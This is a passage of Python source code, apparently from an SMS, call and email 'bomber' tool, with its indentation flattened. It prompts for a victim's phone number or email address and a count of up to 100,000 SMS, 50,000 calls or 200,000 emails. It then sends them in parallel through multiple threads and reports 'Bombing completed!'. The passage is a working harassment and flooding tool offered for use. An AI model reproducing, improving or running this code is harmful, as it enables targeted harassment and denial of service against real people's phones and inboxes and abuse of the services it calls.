text
stringlengths
0
93.6k
mesgdcrt.GeneralMessage("Feel free to reach out to us")
input(mesgdcrt.CommandMessage("Press [ENTER] to exit"))
bann_text()
sys.exit()
success, failed = 0, 0
while success < count:
with ThreadPoolExecutor(max_workers=max_threads) as executor:
jobs = []
for i in range(count-success):
jobs.append(executor.submit(api.hit))
for job in as_completed(jobs):
result = job.result()
if result is None:
mesgdcrt.FailureMessage(
"Bombing limit for your target has been reached")
mesgdcrt.GeneralMessage("Try Again Later !!")
input(mesgdcrt.CommandMessage("Press [ENTER] to exit"))
bann_text()
sys.exit()
if result:
success += 1
else:
failed += 1
clr()
pretty_print(cc, target, success, failed)
print("\n")
mesgdcrt.SuccessMessage("Bombing completed!")
time.sleep(1.5)
bann_text()
sys.exit()
def selectnode(mode="sms"):
mode = mode.lower().strip()
try:
clr()
bann_text()
check_intr()
check_for_updates()
notifyen()
max_limit = {"sms": 100000, "call": 50000, "mail": 200000}
cc, target = "", ""
if mode in ["sms", "call"]:
cc, target = get_phone_info()
if cc != "91":
max_limit.update({"sms": 100000})
elif mode == "mail":
target = get_mail_info()
else:
raise KeyboardInterrupt
limit = max_limit[mode]
while True:
try:
message = ("Enter number of {type}".format(type=mode.upper()) +
" to send (Max {limit}): ".format(limit=limit))
count = int(input(mesgdcrt.CommandMessage(message)).strip())
if count > limit or count == 0:
mesgdcrt.WarningMessage("You have requested " + str(count)
+ " {type}".format(
type=mode.upper()))
mesgdcrt.GeneralMessage(
"Automatically capping the value"
" to {limit}".format(limit=limit))
count = limit
delay = float(input(
mesgdcrt.CommandMessage("Enter delay time (in seconds): "))
.strip())
# delay = 0
max_thread_limit = (count//10) if (count//10) > 0 else 1
max_threads = int(input(
mesgdcrt.CommandMessage(
"Enter Number of Thread (Recommended: {max_limit}): "
.format(max_limit=max_thread_limit)))
.strip())
max_threads = max_threads if (
max_threads > 0) else max_thread_limit
if (count < 0 or delay < 0):
raise Exception
break
except KeyboardInterrupt as ki:
raise ki
except Exception:
mesgdcrt.FailureMessage("Read Instructions Carefully !!!")
print()
workernode(mode, cc, target, count, delay, max_threads)
except KeyboardInterrupt:
mesgdcrt.WarningMessage("Received INTR call - Exiting...")
sys.exit()
mesgdcrt = MessageDecorator("icon")
if sys.version_info[0] != 3:
mesgdcrt.FailureMessage("Th3-C0der will work only in Python v3")
sys.exit()